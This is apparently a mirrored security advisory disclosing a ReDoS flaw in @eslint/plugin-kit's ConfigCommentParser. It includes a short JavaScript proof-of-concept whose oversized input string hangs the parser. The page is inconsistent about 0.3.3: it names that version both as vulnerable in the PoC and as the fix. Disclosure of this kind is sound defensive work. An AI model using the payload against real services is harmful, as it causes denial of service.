GHSA-xffm-g5w8-qvg7

Source

https://github.com/advisories/GHSA-xffm-g5w8-qvg7

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/07/GHSA-xffm-g5w8-qvg7/GHSA-xffm-g5w8-qvg7.json

JSON Data

https://api.test.osv.dev/v1/vulns/GHSA-xffm-g5w8-qvg7

Published

2025-07-18T20:39:12Z

Modified

2025-07-18T20:39:12Z

Severity

7.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P CVSS Calculator

Summary

@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser

Details

Summary

The ConfigCommentParser#parseJSONLikeConfig API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.

Details

The regular expression at packages/plugin-kit/src/config-comment-parser.js:158 is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with [^-a-zA-Z0-9/].

PoC

const { ConfigCommentParser } = require("@eslint/plugin-kit");

const str = `${"A".repeat(1000000)}?: 1 B: 2`;

console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseJSONLikeConfig(str));
console.log("end")

// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`
// then the program will stuck forever with high CPU usage

Impact

This is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.

Database specific

{
    "severity": "HIGH",
    "nvd_published_at": null,
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-1333"
    ],
    "github_reviewed_at": "2025-07-18T20:39:12Z"
}

References

Affected packages

npm / @eslint/plugin-kit

Package

Name: @eslint/plugin-kit; View open source insights on deps.dev
Purl: pkg:npm/%40eslint/plugin-kit

Affected ranges

Type: SEMVER
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

0.3.3